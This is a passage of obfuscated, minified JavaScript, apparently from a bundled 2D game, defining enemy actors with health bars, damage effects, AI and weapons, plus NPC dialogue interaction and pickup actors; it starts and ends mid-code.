_0x5806a1['ContinuousBarRenderComponent']({ 'maxValue': _0x354884, 'name': 'enemy_hp', 'initialPosition': { 'x': _0x42c7e0 / 0x5, 'y': -(0x0, _0x55dec['physicsScalar2RenderScalar'])(_0x530e2e) - 0x32 }, 'configPath': { 'value': 'ui_bars_icons/HUD_bar_short_on_open', 'background': 'ui_bars_icons/HUD_bar_short_off_open', 'ending': 'ui_bars_icons/HUD_bar_side' }, 'barOrigin': 'center', 'attachToActor': !0x0, 'iconConfigPath': 'ui_bars_icons/health_icon', 'iconOffset': { 'x': -0x37, 'y': 0x0 }, 'scaleX': _0x433300, 'scaleY': 0.15, 'controllers': [new _0x50219c['DamageUiBarController']()], 'depth': _0x1933f3['LAYER_DEPTHS']['UI_HUD'], 'depthAdd': _0x1933f3['LAYER_DEPTHS']['UI_HUD'] + 0x1, 'tint': _0x701b2e['ENEMY_TEAM_TINT'] }); }(_0x1c326a) : function (_0x283d21) { const _0x121fd8 = _0x283d21['startingHp'] ?? _0x283d21['enemyConfig']['hp'], _0xb9facb = _0x283d21['startingMaxHp'] ?? _0x283d21['startingHp'] ?? _0x283d21['enemyConfig']['hp'], _0x52503f = 0x2 * (_0x283d21['enemyConfig']['colliderDimensions']['hx'] + 0x2 * _0x283d21['enemyConfig']['colliderDimensions']['borderRadius']), _0x5bdaec = _0x283d21['enemyConfig']['colliderDimensions']['hy'] + _0x283d21['enemyConfig']['colliderDimensions']['borderRadius'], _0x59aa9a = 0.15 * _0x52503f / _0x121fd8; return new _0x842249['SegmentedBarRenderComponent']({ 'maxValue': _0xb9facb, 'initialValue': _0x121fd8, 'name': 'enemy_hp', 'initialPosition': { 'x': _0x52503f / 0x5, 'y': -(0x0, _0x55dec['physicsScalar2RenderScalar'])(_0x5bdaec) - 0x32 }, 'valuePointConfigPath': { 'pointOn': 'ui_bars_icons/HUD_bar_short_on', 'pointOff': 'ui_bars_icons/HUD_bar_short_off' }, 'valuePointSpacing': 0x19, 'barOrigin': 'center', 'attachToActor': !0x0, 'scaleX': _0x59aa9a, 'scaleY': 0.15, 'controllers': [new _0x50219c['DamageUiBarController']()], 'depth': _0x1933f3['LAYER_DEPTHS']['UI_HUD'], 'depthAdd': _0x1933f3['LAYER_DEPTHS']['UI_HUD'] + 0x1, 'tint': _0x701b2e['ENEMY_TEAM_TINT'] }); }(_0x1c326a)), _0x488ec7; } function _0x524f84(_0x3803d9) { const _0x32cf05 = []; return _0x3803d9['enemyConfig']['timeoutMS'] && _0x3803d9['enemyConfig']['timeoutMS'] > 0x0 && _0x32cf05['push'](new _0xe6d62f['TimeoutComponent']({ 'delayMS': _0x3803d9['enemyConfig']['timeoutMS'], 'explosionOnTimeout': _0x3803d9['enemyConfig']['explosionOnTimeout'], 'particlesOnTimeout': _0x3803d9['enemyConfig']['particlesOnTimeout'], 'world': _0x3803d9['world'] })), _0x32cf05; } _0x3ea7fc['createEnemyActor'] = function (_0x45efcc) { const _0x53cfbc = [..._0x3c6de7(_0x45efcc), ..._0x524f84(_0x45efcc)], _0x1a0b0e = [_0x343be4['EActorTag']['ENEMY']]; return _0x45efcc['disableUI'] && _0x1a0b0e['push'](_0x343be4['EActorTag']['HAS_NO_UI']), new _0x35a0e5['Actor']({ ..._0x45efcc, 'tags': _0x1a0b0e, 'name': 'Enemy_' + _0x45efcc['enemyConfig']['name'], 'useForVerification': !0x0, 'model': _0x132194, 'components': [..._0x4fdb28(_0x45efcc), _0x2132b5(_0x45efcc), new _0x387ad5['DamageComponent']({ 'hp': _0x45efcc['startingHp'] ?? _0x45efcc['enemyConfig']['hp'], 'maxHp': _0x45efcc['startingMaxHp'] ?? _0x45efcc['startingHp'] ?? _0x45efcc['enemyConfig']['hp'], 'stunResistance': _0x45efcc['enemyConfig']['stunResistance'], 'removeActorOnDestruction': !0x0, 'spawnInvulnerabilityTimeMS': _0x45efcc['spawnInvulnerabilityDurationMS'], 'controllers': [new _0x38b617['DamageSourceProjectileController']({ 'world': _0x45efcc['world'] }), new _0x1d7cdb['DamageSourceDamagingGroundController']({ 'world': _0x45efcc['world'] }), new _0x195885['DamageSideEffectController']({ 'world': _0x45efcc['world'], 'flashOnHit': _0x45efcc['enemyConfig']['flashOnHit'], 'flashOnDestroy': _0x45efcc['enemyConfig']['flashOnDestroy'], 'screenShakeOnHit': _0x45efcc['enemyConfig']['screenShakeOnHit'], 'screenShakeOnDestroy': _0x45efcc['enemyConfig']['screenShakeOnDestroy'], 'chunksOnHit': _0x45efcc['enemyConfig']['chunksOnHit'], 'chunksOnDestroy': _0x45efcc['enemyConfig']['chunksOnDestroy'], 'explosionOnDestroy': _0x45efcc['enemyConfig']['explosionOnDestroy'], 'particlesOnHit': _0x45efcc['enemyConfig']['particlesOnHit'], 'particlesOnDestroy': _0x45efcc['enemyConfig']['particlesOnDestroy'], 'dropOnHit': _0x45efcc['enemyConfig']['noOwnLoot'] ? [] : _0x45efcc['enemyConfig']['dropOnHit'], 'dropOnDestroy': _0x45efcc['enemyConfig']['noOwnLoot'] ? [] : _0x45efcc['enemyConfig']['dropOnDestroy'], 'childrenOnDestroy': _0x45efcc['enemyConfig']['childrenOnDestroy'] })] }), new _0xf01288['AiComponent']({ ..._0x45efcc['enemyConfig']['aiConfig'], 'initialState': _0x45efcc['initialState'], 'controllers': [new _0x427666['AiWeaponTriggerController']({ ..._0x45efcc['enemyConfig']['aiConfig'], 'weaponNames': _0x45efcc['enemyConfig']['weapons'] }), new _0x176499['AiTargetController']({ 'targetActorHandles': [_0x343be4['EActorTag']['PLAYER_OBJECTIVE'], _0x343be4['EActorTag']['PLAYER']], 'world': _0x45efcc['world'], 'aiConfig': _0x45efcc['enemyConfig']['aiConfig'] })] }), new _0x15e57a['WeaponComponent']({ 'world': _0x45efcc['world'], 'firingPoints': _0x45efcc['enemyConfig']['firingPoints'], 'controllers': [new _0x562b9b['EnemyWeaponRestrictionController'](), new _0x516126['WeaponFireController']({ 'firingPoints': _0x45efcc['enemyConfig']['firingPoints'] }), new _0x2b7daf['WeaponSoundController']({ 'disabledOnBackend': !0x0 })] }), new _0x398d72['WeaponManagementComponent']({ 'controllers': [new _0x181e95['EnemyWeaponManagementController']({ 'initialWeapons': _0x5d01d3(_0x45efcc['enemyConfig']['weapons']) })] }), new _0x51aa97['EffectRenderComponent']({ 'controllers': [new _0x5f1c65['WeaponFireEffectController']({ 'firingPoints': _0x45efcc['enemyConfig']['firingPoints'] }), new _0x18b2b0['WeaponChargeController']({ 'firingPoints': _0x45efcc['enemyConfig']['firingPoints'] })] }), new _0x2de1e8['ActorDebugRenderComponent']({ 'firingPoints': _0x45efcc['enemyConfig']['firingPoints'] }), new _0x198664['EnemySoundComonent'](), new _0x1e244a['ActorUiComponent']({ 'uiIconPath': _0x45efcc['enemyConfig']['uiIconPath'] || '' }), new _0x56cdde['EnemyDeathComponent']({ 'emitSceneMessageOnDeath': _0x45efcc['emitSceneMessageOnDeath'] }), new _0x15fd20['EnemyStatisticsComponent']({ 'configPath': _0x45efcc['enemyConfigPath'] }), new _0x57f3e0['EnemyDamageEfectComponent']({ 'disabledOnBackend': !0x0, 'hxSize': _0x45efcc['enemyConfig']['colliderDimensions']['hx'], 'hySize': _0x45efcc['enemyConfig']['colliderDimensions']['hy'], 'borderRadius': _0x45efcc['enemyConfig']['colliderDimensions']['borderRadius'] }), ..._0x53cfbc] }); }; }, 0x635: (_0x220e0b, _0x3a212a, _0x59550e) => { 'use strict'; Object['defineProperty'](_0x3a212a, '__esModule', { 'value': !0x0 }), _0x3a212a['EnemyDamageEfectComponent'] = void 0x0; const _0x48b1cc = _0x59550e(0x2414), _0x163a96 = _0x59550e(0x2347), _0x2c246d = _0x59550e(0xed4), _0x4eb17c = _0x59550e(0x221b), _0x5db3e0 = _0x59550e(0x16d0), _0x209d48 = _0x59550e(0x18e5); class _0x37b6ca extends _0x48b1cc['ActorComponent']{ ['handleDamageEffect60hzCapped'] = (0x0, _0x5db3e0['limitTo60Hz'])(this['handleDamageEffect']['bind'](this)); constructor(_0x586785) { super({ ..._0x586785, 'isRenderComponent': !0x0 }); } ['init']() { this['store']['subscribe']('stunTimeMS', ({ oldValue: _0x130c58, newValue: _0x587783 }) => this['maybeRenderStunEffects'](_0x130c58, _0x587783)); } ['update'](_0x4f490a) { this['handleDamageEffect60hzCapped'](_0x4f490a); } ['destroy']() { this['handleDamageEffect60hzCapped'] = void 0x0; } ['maybeRenderStunEffects'](_0x22b1e0, _0x54279a) { if (_0x22b1e0 >= _0x54279a) return; const _0xf1356 = this['store']['get']('renderPosition'), _0x16765c = this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x2 * Math['PI']); this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun', 'position': _0xf1356, 'rotation': _0x16765c }); } ['handleDamageEffect'](_0x5d79a1) { const _0x5c34d4 = this['store']['get']('maxHp'), _0x151348 = this['store']['get']('hp'); if (_0x151348 / _0x5c34d4 <= 0.7) { const _0x4ad76c = 0.01 + (0.7 - _0x151348 / _0x5c34d4) / 0.7 * (0.1 - 0.01); this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x1) < _0x4ad76c && this['createSmokeEffect']('smoke/medium_grey'); } if (_0x151348 / _0x5c34d4 <= 0.4) { const _0x411882 = 0.01 + (0.4 - _0x151348 / _0x5c34d4) / 0.4 * 0.065; this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x1) < _0x411882 && this['createSmokeEffect']('smoke/medium_grey_darker'); } if (_0x151348 / _0x5c34d4 <= 0.4) { const _0x452773 = 0.002 + (0.4 - _0x151348 / _0x5c34d4) / 0.4 * 0.013; this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x1) < _0x452773 && this['createSparkEffect'](); } } ['createSmokeEffect'](_0x2d9167) { const _0x5365c0 = this['createEffectPosition'](), _0x3ccffe = this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x2 * Math['PI']); this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': _0x2d9167, 'position': _0x5365c0, 'rotation': _0x3ccffe }); } ['createSparkEffect']() { const _0x4239ad = this['createEffectPosition'](), _0x22bd36 = { 'emitterName': _0x2c246d['EEmitterName']['ADD'], 'particleConfig': { 'frame': 'blue_spark', 'count': { 'min': 0xa, 'max': 0x14 }, 'velocityX': { 'min': -0x28a, 'max': 0x28a }, 'velocityY': { 'min': -0x28a, 'max': 0x28a }, 'tint': '0xffffff', 'lifetime': { 'min': 0x3e8, 'max': 0x7d0 }, 'accelerationY': { 'min': 0x3e8, 'max': 0x7d0 } } }; this['gameMessageBus']['publish']('requestParticles', { ..._0x22bd36, ..._0x4239ad }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'general/small_blue_flash', 'position': _0x4239ad }); } ['createEffectPosition']() { const _0x2e7ae4 = this['store']['get']('renderPosition'), _0x3a85e4 = Math['max'](this['config']['hxSize'], this['config']['hySize']) + this['config']['borderRadius'], _0x10704a = 0.6 * (0x0, _0x163a96['physicsScalar2RenderScalar'])(_0x3a85e4), _0x3f5aca = new _0x209d48['Vector'](this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], -_0x10704a, _0x10704a), this['gameContext']['rngProvider']['getRandomFloat'](_0x4eb17c['EProviderContext']['FRONTEND_ONLY'], -_0x10704a, _0x10704a)); return new _0x209d48['Vector'](_0x2e7ae4['x'] + _0x3f5aca['x'], _0x2e7ae4['y'] + _0x3f5aca['y']); } } _0x3a212a['EnemyDamageEfectComponent'] = _0x37b6ca; }, 0x487: (_0x7f7520, _0x116b7a, _0x480adf) => { 'use strict'; Object['defineProperty'](_0x116b7a, '__esModule', { 'value': !0x0 }), _0x116b7a['EnemyDeathComponent'] = void 0x0; const _0x37962f = _0x480adf(0x2414); class _0x6edc8c extends _0x37962f['ActorComponent']{ constructor(_0x328976) { super(_0x328976); } ['init']() { this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['despawn']()), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['despawn']()), this['messageBus']['subscribe'](this, 'requestDespawn', () => this['despawn']()), this['store']['subscribe']('hp', ({ oldValue: _0x291120, newValue: _0x2bd456 }) => this['onHpChange'](_0x291120, _0x2bd456)); } ['despawn']() { this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport_silent_noflash', 'position': this['store']['get']('renderPosition') }), this['actor']['destroy'](); } ['onHpChange'](_0x2aa36e, _0x3c3997) { _0x3c3997 > 0x0 || _0x2aa36e <= 0x0 || this['config']['emitSceneMessageOnDeath'] && this['sceneMessageBus']['publish'](this['config']['emitSceneMessageOnDeath']); } } _0x116b7a['EnemyDeathComponent'] = _0x6edc8c; }, 0x161e: (_0x51550c, _0x2a09de, _0x5a5e48) => { 'use strict'; Object['defineProperty'](_0x2a09de, '__esModule', { 'value': !0x0 }), _0x2a09de['EnemySoundComonent'] = void 0x0; const _0x2df5aa = _0x5a5e48(0x2414); class _0x55dcdf extends _0x2df5aa['ActorComponent']{ ['init']() { this['store']['subscribe']('stunTimeMS', ({ oldValue: _0x2acc2d, newValue: _0x531d62 }) => { _0x531d62 > 0x0 || this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'enemyStunned' } }); }), this['store']['subscribe']('hp', ({ oldValue: _0x2e0c62, newValue: _0x36f4c6 }) => { _0x36f4c6 > 0x0 || this['gameMessageBus']['publish']('requestStopSoundsByGroupName', { 'groupName': this['actor']['id'] }); }); } } _0x2a09de['EnemySoundComonent'] = _0x55dcdf; }, 0x1cb8: (_0x3fed3a, _0x2f53a9, _0x5ce9c9) => { 'use strict'; Object['defineProperty'](_0x2f53a9, '__esModule', { 'value': !0x0 }), _0x2f53a9['EnemyStatisticsComponent'] = void 0x0; const _0x5d0a06 = _0x5ce9c9(0x2414), _0x357467 = _0x5ce9c9(0x1832), _0x3fc6df = _0x5ce9c9(0x1a95); class _0x979334 extends _0x5d0a06['ActorComponent']{ constructor(_0x4b2be5) { super(_0x4b2be5); } ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x46c65d, newValue: _0x2fb5ae }) => { this['maybeAddStatisticEvent'](_0x46c65d, _0x2fb5ae), this['maybeUpdateKillcount'](_0x46c65d, _0x2fb5ae); }), this['onSpawn'](); } ['maybeAddStatisticEvent'](_0x573626, _0x3f8fde) { if (_0x573626 === _0x3f8fde) return; if (_0x3f8fde > 0x0) return; const _0x3d567b = this['store']['get']('renderPosition'), _0x3420ab = this['actor']['getConfig'](); if (0x0 === _0x3420ab['enemyConfig']['pointValue']) return; const _0xf76d52 = this['store']['get']('lastDamagingActor'), _0x10e03f = _0xf76d52?.['getConfig'](), _0x6ee70d = this['store']['get']('lastDamagingActorOwner'), _0x7050c3 = _0x6ee70d?.['getConfig'](); this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x3fc6df['EGameStatisticsEventType']['ENEMY_DESTROYED'], 'data': { 'enemyActorConfigName': _0x3420ab['enemyConfigPath'], 'sourceActorConfigName': _0x10e03f?.['projectileType'] ?? _0x10e03f?.['name'], 'sourceActorOwnerConfigName': _0x7050c3?.['enemyConfigPath'] ?? _0x7050c3?.['name'] }, 'position': { 'x': _0x3d567b['x'], 'y': _0x3d567b['y'] } }); } ['maybeUpdateKillcount'](_0x112f46, _0x54e8d8) { if (_0x112f46 === _0x54e8d8) return; if (0x0 === this['actor']['getConfig']()['enemyConfig']['pointValue']) return; const _0x2a4fb2 = this['store']['get']('lastDamagingActorOwner'); if (!_0x2a4fb2) return; if (_0x2a4fb2['getTags']()['includes'](_0x357467['EActorTag']['GROUND'])) return; const _0xdf8bed = { ...this['gameContext']['getFromGameStore']('runState') }, _0x2b6ced = { ..._0xdf8bed['levelStates'][_0xdf8bed['currentLevelIndex']] }, _0x2bc7d5 = { ..._0x2b6ced['killCount'] }; _0x2b6ced['killCount'] = _0x2bc7d5; const _0x59fcae = _0x2b6ced['damageDealt'] + (_0x112f46 - _0x54e8d8); _0x2b6ced['damageDealt'] = _0x59fcae, _0x54e8d8 <= 0x0 && (_0x2b6ced['killCount'][this['config']['configPath']] || (_0x2b6ced['killCount'][this['config']['configPath']] = 0x0), _0x2b6ced['killCount'][this['config']['configPath']]++), _0xdf8bed['levelStates'][_0xdf8bed['currentLevelIndex']] = _0x2b6ced, this['gameContext']['updateGameStore']('runState', _0xdf8bed); } ['onSpawn']() { const _0x5f19fa = this['store']['get']('renderPosition'), _0x2d2183 = this['actor']['getConfig'](); this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x3fc6df['EGameStatisticsEventType']['ENEMY_SPAWNED'], 'data': { 'enemyActorConfigName': _0x2d2183['enemyConfigPath'] }, 'position': { 'x': _0x5f19fa['x'], 'y': _0x5f19fa['y'] } }); } } _0x2f53a9['EnemyStatisticsComponent'] = _0x979334; }, 0x655: (_0x23810c, _0x43c385, _0x1c7cd8) => { 'use strict'; Object['defineProperty'](_0x43c385, '__esModule', { 'value': !0x0 }), _0x43c385['EnemyWeaponManagementController'] = void 0x0; const _0x3c0c22 = _0x1c7cd8(0x1520); class _0x518b88 extends _0x3c0c22['ComponentController']{ constructor(_0x3ea0dd) { super(_0x3ea0dd); } ['init']() { this['config']['initialWeapons'] && this['store']['update']('weapons', { ...this['config']['initialWeapons'] }); } } _0x43c385['EnemyWeaponManagementController'] = _0x518b88; }, 0x190: (_0x37ef72, _0x3393f2, _0x34a8fc) => { 'use strict'; Object['defineProperty'](_0x3393f2, '__esModule', { 'value': !0x0 }), _0x3393f2['EnemyWeaponRestrictionController'] = void 0x0; const _0xcf72bb = _0x34a8fc(0x1520); class _0x2fec50 extends _0xcf72bb['ComponentController']{ ['update']() { const _0x252260 = []; this['isLookingUp']() && _0x252260['push']('LOOKING_UP'), this['isLookingDown']() && _0x252260['push']('LOOKING_DOWN'), this['isGrounded']() && _0x252260['push']('GROUNDED'), this['store']['update']('currentWeaponRestrictions', _0x252260); } ['isLookingUp']() { return !!this['store']['get']('actionControlsState')['up']; } ['isLookingDown']() { return !!this['store']['get']('actionControlsState')['down']; } ['isGrounded']() { return this['store']['get']('isGrounded'); } } _0x3393f2['EnemyWeaponRestrictionController'] = _0x2fec50; }, 0xbd6: function (_0x45feae, _0x335b46, _0x1a1b5d) { 'use strict'; var _0x15d612 = this && this['__importDefault'] || function (_0x49c6af) { return _0x49c6af && _0x49c6af['__esModule'] ? _0x49c6af : { 'default': _0x49c6af }; }; Object['defineProperty'](_0x335b46, '__esModule', { 'value': !0x0 }), _0x335b46['createNpcActor'] = void 0x0; const _0x54cf95 = _0x15d612(_0x1a1b5d(0x9a8)), _0x176384 = _0x1a1b5d(0x25fa), _0xf9d8c = _0x1a1b5d(0xd2e), _0x16fa46 = _0x1a1b5d(0x13e1), _0xec24c = _0x1a1b5d(0x942), _0x1ae388 = _0x1a1b5d(0x2dd), _0x42a398 = _0x1a1b5d(0x1932), _0x4d10e1 = _0x1a1b5d(0x2228), _0x8de004 = _0x1a1b5d(0x1858), _0x428a7a = _0x1a1b5d(0x135e), _0x3177b9 = _0x1a1b5d(0x1832), _0x532427 = _0x1a1b5d(0xb35), _0x4e217d = { ..._0xf9d8c['actorModel'], ..._0x42a398['sensorModel'], ..._0x16fa46['movementModel'], ..._0x428a7a['npcModel'] }; function _0x68e1a1(_0x2ccab8) { return _0x2ccab8['dialogueConfigPaths']['length'] > 0x0 && '' !== _0x2ccab8['dialogueConfigPaths'][0x0] ? [new _0x8de004['NpcInteractionComponent']({ ..._0x2ccab8['npcConfig'], 'dialogueConfigPaths': _0x2ccab8['dialogueConfigPaths'] })] : []; } function _0x53b4de(_0x37ae12) { const _0x10008c = new _0xec24c['RigidBodyComponent']({ 'world': _0x37ae12['world'], 'bodyDesc': _0x54cf95['default']['RigidBodyDesc']['fixed'](), 'useRotation': !0x1, 'collidersEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0x54cf95['default']['ColliderDesc']['cuboid'](_0x37ae12['npcConfig']['colliderWidth'], _0x37ae12['npcConfig']['colliderHeight'])['setCollisionGroups'](_0x532427['PhysicsConfig']['COLLISION_GROUPS']['NPC'] << 0x10)['setMass'](0x1) }, 'sensorsDesc': { 'body': _0x54cf95['default']['ColliderDesc']['ball'](_0x37ae12['npcConfig']['interactionRadius'])['setCollisionGroups'](_0x532427['PhysicsConfig']['COLLISION_GROUPS']['NPC'] << 0x10 | _0x532427['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']) }, 'position': _0x37ae12['initialPosition'], 'controllers': [new _0x1ae388['RigidBodySensorController']({ 'calculateDistanceToGround': !0x1, 'calculateCanSeeTarget': !0x1, 'groundTags': [_0x3177b9['EActorTag']['GROUND']] })] }), _0x21cf16 = _0x10008c['get'](); return _0x21cf16['setTranslation'](_0x37ae12['initialPosition'], !0x1), _0x21cf16['setGravityScale'](0x1, !0x1), _0x10008c; } function _0x3a5435(_0x407396) { return new _0x4d10e1['AnimatedSpriteRenderComponent']({ 'animationName': _0x407396['npcConfig']['animationName'], 'affectedByLight': !0x0, 'autoPlay': !0x0 }); } _0x335b46['createNpcActor'] = function (_0x45c8ae) { return new _0x176384['Actor']({ ..._0x45c8ae, 'tags': [_0x3177b9['EActorTag']['NPC']], 'name': 'AreaSensor', 'model': _0x4e217d, 'components': [_0x53b4de(_0x45c8ae), _0x3a5435(_0x45c8ae), ..._0x68e1a1(_0x45c8ae)] }); }; }, 0x1858: (_0x25f94f, _0x81641a, _0x74a26c) => { 'use strict'; Object['defineProperty'](_0x81641a, '__esModule', { 'value': !0x0 }), _0x81641a['NpcInteractionComponent'] = _0x81641a['DEFAULTS'] = void 0x0; const _0x5d1ab1 = _0x74a26c(0x2414), _0x29afd9 = _0x74a26c(0x13a9), _0x39cf95 = _0x74a26c(0x1832), _0x4b3985 = _0x74a26c(0x221b); _0x81641a['DEFAULTS'] = { 'interactionText': '{interaction}\x20Talk', 'interactionTextRenderOffset': { 'x': 0x0, 'y': -0xaf } }; class _0x1a4742 extends _0x5d1ab1['ActorComponent']{ constructor(_0x6af5a7) { super(_0x6af5a7); } ['init']() { this['sceneMessageBus']['subscribe'](this, 'performAvailableInteraction', _0x529707 => this['maybeStartDialogue'](_0x529707)), this['sceneMessageBus']['subscribe'](this, 'updateInteractionState', _0x2f3668 => this['onUpdateInteractionState'](_0x2f3668)), this['store']['subscribe']('npcState', ({ oldValue: _0x51cf21, newValue: _0x54b3b9 }) => this['onNpcStateChange'](_0x54b3b9)), this['config']['dialogueConfigPaths']['length']; } ['postInit']() { this['registerInteraction'](); } ['registerInteraction']() { this['sceneMessageBus']['publish']('registerInteraction', { 'interactionId': this['gameContext']['idProvider']['get'](_0x4b3985['EProviderContext']['MAIN']), 'interactableActor': this['actor'], 'interactingActor': this['gameContext']['queryActors'](_0x39cf95['EActorTag']['PLAYER'])[0x0], 'interactionDistance': this['config']['interactionRadius'], 'interactionText': (0x0, _0x29afd9['assembleText'])(this['config']['interactionText'] ?? _0x81641a['DEFAULTS']['interactionText'], this['gameContext']['getFromGameStore']('settings')), 'interactionRenderOffset': this['config']['interactionTextRenderOffset'] ?? _0x81641a['DEFAULTS']['interactionTextRenderOffset'], 'requiresLineOfSightCheck': !0x0, 'requiresGrounded': !0x0 }); } ['unregisterInteraction']() { this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']); } ['maybeStartDialogue'](_0x34914b) { if (_0x34914b['interactableActor'] !== this['actor']) return; if ('TALKING' === this['store']['get']('npcState')) return; const _0x11db2d = this['getCurrentDialogue'](); _0x11db2d && (this['store']['update']('npcState', 'TALKING'), this['gameMessageBus']['publish']('beginDialogue', { 'dialogueConfigPath': _0x11db2d, 'dialogueCompleteCallback': _0x3117ac => this['dialogueCompleteCallback'](_0x3117ac) })); } ['onUpdateInteractionState'](_0x1102d7) { _0x1102d7['config']['interactableActor'], this['actor']; } ['onNpcStateChange'](_0x41b2bb) { if ('TALKING' === _0x41b2bb) this['unregisterInteraction'](); else { if (!this['getCurrentDialogue']()) return; this['registerInteraction'](); } } ['getCurrentDialogue']() { const _0x370c65 = this['store']['get']('npcCurrentDialogueIndex'); return _0x370c65 >= this['config']['dialogueConfigPaths']['length'] ? null : this['config']['dialogueConfigPaths'][_0x370c65]; } ['dialogueCompleteCallback'] = _0x24fb85 => { const _0x24fa8a = this['store']['get']('npcCurrentDialogueIndex'), _0xf45e63 = this['config']['dialogueConfigPaths'][_0x24fa8a], _0x5a8491 = this['gameContext']['getDialogueConfig'](_0xf45e63); if (this['store']['update']('npcState', 'IDLE'), !_0x24fb85) return; const _0x3abe92 = _0x24fa8a === this['config']['dialogueConfigPaths']['length'] - 0x1, _0xfca6e8 = _0x5a8491['repeatIfLastDialogue'] && _0x3abe92; this['store']['update']('npcCurrentDialogueIndex', _0x24fa8a + (_0xfca6e8 ? 0x0 : 0x1)); }; } _0x81641a['NpcInteractionComponent'] = _0x1a4742; }, 0x135e: (_0x1aa8a5, _0xd73d62) => { 'use strict'; Object['defineProperty'](_0xd73d62, '__esModule', { 'value': !0x0 }), _0xd73d62['npcModel'] = void 0x0, _0xd73d62['npcModel'] = { 'npcState': 'IDLE', 'npcCurrentDialogueIndex': 0x0 }; }, 0x1450: function (_0x1e1ad7, _0x50b35f, _0x17da7b) { 'use strict'; var _0x59f4b2 = this && this['__importDefault'] || function (_0x5daee9) { return _0x5daee9 && _0x5daee9['__esModule'] ? _0x5daee9 : { 'default': _0x5daee9 }; }; Object['defineProperty'](_0x50b35f, '__esModule', { 'value': !0x0 }), _0x50b35f['createPickupActor'] = void 0x0; const _0x4c00a0 = _0x59f4b2(_0x17da7b(0x9a8)), _0x2a1f51 = _0x17da7b(0x25fa), _0x5a5093 = _0x17da7b(0xd2e), _0x46c7ab = _0x17da7b(0x942), _0x4e2ff5 = _0x17da7b(0x1932), _0x264b28 = _0x17da7b(0x22a2), _0x35de9b = _0x17da7b(0x276), _0x391177 = _0x17da7b(0x1b92), _0x28da24 = _0x17da7b(0x7bf), _0xb34b4c = _0x17da7b(0x71f), _0x58450d = _0x17da7b(0x2228), _0x30d790 = _0x17da7b(0xc99), _0x58db7c = _0x17da7b(0x6d6), _0x420669 = _0x17da7b(0x1cef), _0x3a7ec5 = _0x17da7b(0x1832), _0x330fcb = _0x17da7b(0xb35), _0x30e0f6 = _0x17da7b(0xf18), _0x1f566b = _0x17da7b(0x1907), _0xdbd921 = _0x17da7b(0x2347), _0x4f5a73 = _0x17da7b(0x18c1), _0x179f09 = _0x17da7b(0x229c), _0x47e530 = _0x17da7b(0xa59), _0x398c9d = { ..._0x5a5093['actorModel'], ..._0x4e2ff5['sensorModel'], ..._0x58db7c['trailModel'], ..._0x4f5a73['lightModel'], ..._0x179f09['damageModel'] }; _0x50b35f['createPickupActor'] = function (_0x2c471a) { const _0x5e259d = function (_0x2389f3) { switch (_0x2389f3['pickupConfig']['renderConfig']['name']) { case 'animatedSprite': return new _0x58450d['AnimatedSpriteRenderComponent']({ 'animationName': _0x2389f3['pickupConfig']['renderConfig']['animationName'], 'autoPlay': !0x0, 'forcedDepth': _0x30e0f6['LAYER_DEPTHS']['UI_HUD'] }); case 'spine': return new _0xb34b4c['SpineRenderComponent']({ 'spineAssetName': _0x2389f3['pickupConfig']['renderConfig']['spineAssetName'], 'animationName': 'Idle', 'loop': !0x0, 'scale': _0x2389f3['pickupConfig']['renderConfig']['scale'], 'tint': parseInt(_0x2389f3['pickupConfig']['renderConfig']['tint'] || '0xffffff', 0x10), 'offsetPosition': _0x2389f3['pickupConfig']['renderConfig']['offsetPosition'], 'controllers': [] }); } }(_0x2c471a), _0x40b210 = function (_0x1837ad) { let _0xd97ac5; _0xd97ac5 = !0x0 === _0x1837ad['pickupConfig']['ignoreGround'] ? _0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['PICKUP'] << 0x10 : _0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['PICKUP'] << 0x10 | _0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['GROUND']; const _0x39e871 = _0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['PICKUP'] << 0x10 | _0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'], _0x2c023f = _0x1837ad['pickupConfig']['maxTargetDistance'] && _0x1837ad['pickupConfig']['pullForce'], _0x3e59d7 = void 0x0 !== _0x1837ad['pickupConfig']['delayedActivationTimeMS'], _0xfed2dc = []; _0x2c023f && _0xfed2dc['push'](new _0x420669['HomingController']({ 'delayedActivationTimeMS': _0x1837ad['pickupConfig']['delayedActivationTimeMS'], 'maxTargetDistance': (0x0, _0xdbd921['physicsScalar2RenderScalar'])(_0x1837ad['pickupConfig']['maxTargetDistance']), 'pullForce': _0x1837ad['pickupConfig']['pullForce'], 'targetTags': [_0x3a7ec5['EActorTag']['PLAYER']], 'targetingArcDeg': 0x168, 'world': _0x1837ad['world'] })), _0x3e59d7 && _0xfed2dc['push'](new _0x47e530['PickupActorDelayedActivationController']({ 'delayedActivationTimeMS': _0x1837ad['pickupConfig']['delayedActivationTimeMS'] })); const _0x1a9191 = new _0x46c7ab['RigidBodyComponent']({ 'world': _0x1837ad['world'], 'bodyDesc': _0x1837ad['pickupConfig']['static'] ? _0x4c00a0['default']['RigidBodyDesc']['fixed']() : _0x4c00a0['default']['RigidBodyDesc']['dynamic'](), 'useRotation': !0x0, 